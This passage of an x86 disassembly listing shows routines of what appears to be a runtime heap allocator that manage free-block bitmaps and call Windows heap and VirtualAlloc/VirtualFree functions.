		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41AFED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41AFF0
; ---------------------------------------------------------------------------

loc_41AFBF:				; CODE XREF: sub_41ADDD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41AFED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41AFF0
; ---------------------------------------------------------------------------

loc_41AFED:				; CODE XREF: sub_41ADDD+1D6j
					; sub_41ADDD+203j
		mov	ebx, [ebp+arg_0]

loc_41AFF0:				; CODE XREF: sub_41ADDD+1B0j
					; sub_41ADDD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41B0A0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B091
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41B062
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B050
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41B050:				; CODE XREF: sub_41ADDD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41B091
; ---------------------------------------------------------------------------

loc_41B062:				; CODE XREF: sub_41ADDD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B07B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41B07B:				; CODE XREF: sub_41ADDD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41B091:				; CODE XREF: sub_41ADDD+24Ej
					; sub_41ADDD+283j
		mov	ecx, [ebp+var_8]

loc_41B094:				; CODE XREF: sub_41ADDD+1A4j
		test	ecx, ecx
		jz	short loc_41B0A3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41B0A3
; ---------------------------------------------------------------------------

loc_41B0A0:				; CODE XREF: sub_41ADDD+229j
		mov	ecx, [ebp+var_8]

loc_41B0A3:				; CODE XREF: sub_41ADDD+2B9j
					; sub_41ADDD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41B0D9
		cmp	ebx, dword_48AB14
		jnz	short loc_41B0D9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_48AB0C
		jnz	short loc_41B0D9
		and	dword_48AB14, 0

loc_41B0D9:				; CODE XREF: sub_41ADDD+2E0j
					; sub_41ADDD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41B0E1:				; CODE XREF: sub_41ADDD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ADDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0E6	proc near		; CODE XREF: sub_41ADDD+CCp
		mov	eax, dword_48AB18
		mov	ecx, dword_48AB08
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41B129
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_48AB1C
		push	edi
		push	dword_48AB24
		call	dword_423194	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41B179
		add	dword_48AB08, 10h
		mov	dword_48AB1C, eax
		mov	eax, dword_48AB18

loc_41B129:				; CODE XREF: sub_41B0E6+11j
		mov	ecx, dword_48AB1C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_48AB24
		lea	esi, [ecx+eax*4]
		call	dword_4230E8	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41B179
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_4231B4	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41B17D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_48AB24
		call	dword_4230E4	; RtlFreeHeap

loc_41B179:				; CODE XREF: sub_41B0E6+30j
					; sub_41B0E6+67j
		xor	eax, eax
		jmp	short loc_41B194
; ---------------------------------------------------------------------------

loc_41B17D:				; CODE XREF: sub_41B0E6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_48AB18
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41B194:				; CODE XREF: sub_41B0E6+95j
		pop	edi
		pop	esi
		retn
sub_41B0E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B197	proc near		; CODE XREF: sub_41ADDD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41B1A9:				; CODE XREF: sub_41B197+19j
		test	eax, eax
		jl	short loc_41B1B2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41B1A9
; ---------------------------------------------------------------------------

loc_41B1B2:				; CODE XREF: sub_41B197+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41B1C7:				; CODE XREF: sub_41B197+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41B1C7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_4231B4	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41B1FA
		or	eax, 0FFFFFFFFh
		jmp	loc_41B28D
; ---------------------------------------------------------------------------

loc_41B1FA:				; CODE XREF: sub_41B197+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41B240
		lea	eax, [edi+10h]

loc_41B207:				; CODE XREF: sub_41B197+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41B207

loc_41B240:				; CODE XREF: sub_41B197+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41B27D
		or	[eax+4], edi

loc_41B27D:				; CODE XREF: sub_41B197+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41B28D:				; CODE XREF: sub_41B197+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B197	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B292	proc near		; CODE XREF: sub_41914F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41B440
		test	bl, 1
		jnz	loc_41B439
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41B439
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41B309
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41B309:				; CODE XREF: sub_41B292+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41B359
		cmp	ecx, 20h
		jnb	short loc_41B335
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B359
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B359
; ---------------------------------------------------------------------------

loc_41B335:				; CODE XREF: sub_41B292+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B359
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41B359:				; CODE XREF: sub_41B292+7Dj
					; sub_41B292+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41B427
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41B393
		push	3Fh
		pop	edi

loc_41B393:				; CODE XREF: sub_41B292+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41B415
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41B3EC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B3DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41B3DF:				; CODE XREF: sub_41B292+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41B411
; ---------------------------------------------------------------------------

loc_41B3EC:				; CODE XREF: sub_41B292+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B402
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41B402:				; CODE XREF: sub_41B292+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41B411:				; CODE XREF: sub_41B292+158j
		shr	edx, cl
		or	[eax], edx

loc_41B415:				; CODE XREF: sub_41B292+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41B42A
; ---------------------------------------------------------------------------

loc_41B427:				; CODE XREF: sub_41B292+E5j
		mov	edx, [ebp+arg_4]

loc_41B42A:				; CODE XREF: sub_41B292+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41B580
; ---------------------------------------------------------------------------

loc_41B439:				; CODE XREF: sub_41B292+52j
					; sub_41B292+5Cj
		xor	eax, eax
		jmp	loc_41B583
; ---------------------------------------------------------------------------

loc_41B440:				; CODE XREF: sub_41B292+49j
		jge	loc_41B580
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41B46B
		push	3Fh
		pop	esi

loc_41B46B:				; CODE XREF: sub_41B292+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41B4FA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B484
		push	3Fh
		pop	esi

loc_41B484:				; CODE XREF: sub_41B292+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41B4D3
		cmp	esi, 20h
		jnb	short loc_41B4AF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41B4D0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B4D0
; ---------------------------------------------------------------------------

loc_41B4AF:				; CODE XREF: sub_41B292+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B4D0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41B4D0:				; CODE XREF: sub_41B292+214j
					; sub_41B292+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41B4D3:				; CODE XREF: sub_41B292+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B4FA
		push	3Fh
		pop	esi

loc_41B4FA:				; CODE XREF: sub_41B292+1DDj
					; sub_41B292+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41B577
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41B54E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B541
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41B541:				; CODE XREF: sub_41B292+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41B573
; ---------------------------------------------------------------------------

loc_41B54E:				; CODE XREF: sub_41B292+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B564
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41B564:				; CODE XREF: sub_41B292+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41B573:				; CODE XREF: sub_41B292+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41B577:				; CODE XREF: sub_41B292+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41B580:				; CODE XREF: sub_41B292+1A2j
					; sub_41B292:loc_41B440j
		push	1
		pop	eax

loc_41B583:				; CODE XREF: sub_41B292+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B292	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B588	proc near		; CODE XREF: sub_41A9E4+41p
					; sub_41B880:loc_41BA4Fp
		cmp	dword_438CB0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41B59C
		mov	esi, offset off_438CA0
		jmp	short loc_41B5B9
; ---------------------------------------------------------------------------

loc_41B59C:				; CODE XREF: sub_41B588+Bj
		push	2020h
		push	0
		push	dword_48AB24
		call	dword_4230E8	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_41B6C5

loc_41B5B9:				; CODE XREF: sub_41B588+12j
		mov	ebp, dword_4231B4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_41B6AE
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_41B6A0
		mov	eax, offset off_438CA0
		cmp	esi, eax
		jnz	short loc_41B618
		cmp	off_438CA0, 0
		jnz	short loc_41B608
		mov	off_438CA0, eax

loc_41B608:				; CODE XREF: sub_41B588+79j
		cmp	off_438CA4, 0
		jnz	short loc_41B62D
		mov	off_438CA4, eax
		jmp	short loc_41B62D
; ---------------------------------------------------------------------------

loc_41B618:				; CODE XREF: sub_41B588+70j
		mov	[esi], eax
		mov	eax, off_438CA4
		mov	[esi+4], eax
		mov	off_438CA4, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41B62D:				; CODE XREF: sub_41B588+87j
					; sub_41B588+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41B64F:				; CODE XREF: sub_41B588+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41B64F
		push	ebx
		push	0
		push	edi
		call	sub_417030
		add	esp, 0Ch

loc_41B678:				; CODE XREF: sub_41B588+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41B69C
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41B678
; ---------------------------------------------------------------------------

loc_41B69C:				; CODE XREF: sub_41B588+F7j
		mov	eax, esi
		jmp	short loc_41B6C7
; ---------------------------------------------------------------------------

loc_41B6A0:				; CODE XREF: sub_41B588+63j
		push	8000h
		push	0
		push	edi
		call	dword_4231B0	; VirtualFree

loc_41B6AE:				; CODE XREF: sub_41B588+4Bj
		cmp	esi, offset off_438CA0
		jz	short loc_41B6C5
		push	esi
		push	0
		push	dword_48AB24
		call	dword_4230E4	; RtlFreeHeap

loc_41B6C5:				; CODE XREF: sub_41B588+2Bj
					; sub_41B588+12Cj
		xor	eax, eax

loc_41B6C7:				; CODE XREF: sub_41B588+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B588	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6CC	proc near		; CODE XREF: sub_41B722+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_4231B0	; VirtualFree
		cmp	off_43ACC0, esi
		jnz	short loc_41B6F1
		mov	eax, [esi+4]
		mov	off_43ACC0, eax

loc_41B6F1:				; CODE XREF: sub_41B6CC+1Bj
		cmp	esi, offset off_438CA0
		jz	short loc_41B719
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_48AB24
		call	dword_4230E4	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41B719:				; CODE XREF: sub_41B6CC+2Bj
		or	dword_438CB0, 0FFFFFFFFh
		pop	esi
		retn
sub_41B6CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B722	proc near		; CODE XREF: sub_41B83B+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_438CA4
		push	edi

loc_41B72F:				; CODE XREF: sub_41B722+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41B7CD
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41B748:				; CODE XREF: sub_41B722+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41B789
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_4231B0	; VirtualFree
		test	eax, eax
		jz	short loc_41B789
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_489514
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41B77E
		cmp	eax, edi
		jbe	short loc_41B781

loc_41B77E:				; CODE XREF: sub_41B722+56j
		mov	[esi+0Ch], edi

loc_41B781:				; CODE XREF: sub_41B722+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41B796

loc_41B789:				; CODE XREF: sub_41B722+2Cj
					; sub_41B722+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41B748

loc_41B796:				; CODE XREF: sub_41B722+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41B7CD
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41B7CD
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41B7AD:				; CODE XREF: sub_41B722+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41B7BE
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41B7AD

loc_41B7BE:				; CODE XREF: sub_41B722+8Ej
		cmp	edx, 400h
		jnz	short loc_41B7CD
		push	ecx
		call	sub_41B6CC
		pop	ecx

loc_41B7CD:				; CODE XREF: sub_41B722+11j
					; sub_41B722+7Dj ...
		cmp	esi, off_438CA4
		jz	short loc_41B7DF
		cmp	[ebp+arg_0], 0
		jg	loc_41B72F

loc_41B7DF:				; CODE XREF: sub_41B722+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B722	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7E4	proc near		; CODE XREF: sub_41793B+3Ap
					; sub_41914F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_438CA0
		push	esi
		mov	ecx, edx

loc_41B7F0:				; CODE XREF: sub_41B7E4+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41B7FA
		cmp	eax, [ecx+14h]
		jb	short loc_41B802

loc_41B7FA:				; CODE XREF: sub_41B7E4+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41B837
		jmp	short loc_41B7F0
; ---------------------------------------------------------------------------

loc_41B802:				; CODE XREF: sub_41B7E4+14j
		test	al, 0Fh
		jnz	short loc_41B837
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41B837
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41B837:				; CODE XREF: sub_41B7E4+1Aj
					; sub_41B7E4+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41B7E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B83B	proc near		; CODE XREF: sub_41793B+4Dp
					; sub_41914F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41B87F
		inc	dword_489514
		cmp	dword_489514, 20h
		jnz	short locret_41B87F
		push	10h
		call	sub_41B722
		pop	ecx

locret_41B87F:				; CODE XREF: sub_41B83B+2Bj
					; sub_41B83B+3Aj
		retn
sub_41B83B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B880	proc near		; CODE XREF: sub_4178C7+4Ap
					; sub_41914F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43ACC0
		push	edi

loc_41B88E:				; CODE XREF: sub_41B880+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41B939
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41B8F3

loc_41B8B9:				; CODE XREF: sub_41B880+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41B8DC
		cmp	[edi+4], ebx
		jbe	short loc_41B8DC
		push	ebx
		push	ecx
		push	eax
		call	sub_41BA88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B94B
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41B8DC:				; CODE XREF: sub_41B880+40j
					; sub_41B880+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41B8B9
		jmp	short loc_41B8F6
; ---------------------------------------------------------------------------

loc_41B8F3:				; CODE XREF: sub_41B880+37j
		mov	ebx, [ebp+arg_0]

loc_41B8F6:				; CODE XREF: sub_41B880+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41B93C

loc_41B909:				; CODE XREF: sub_41B880+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41B928
		cmp	[edi+4], ebx
		jbe	short loc_41B928
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41BA88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B94B
		mov	[edi+4], ebx

loc_41B928:				; CODE XREF: sub_41B880+8Dj
					; sub_41B880+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41B909
		jmp	short loc_41B93C
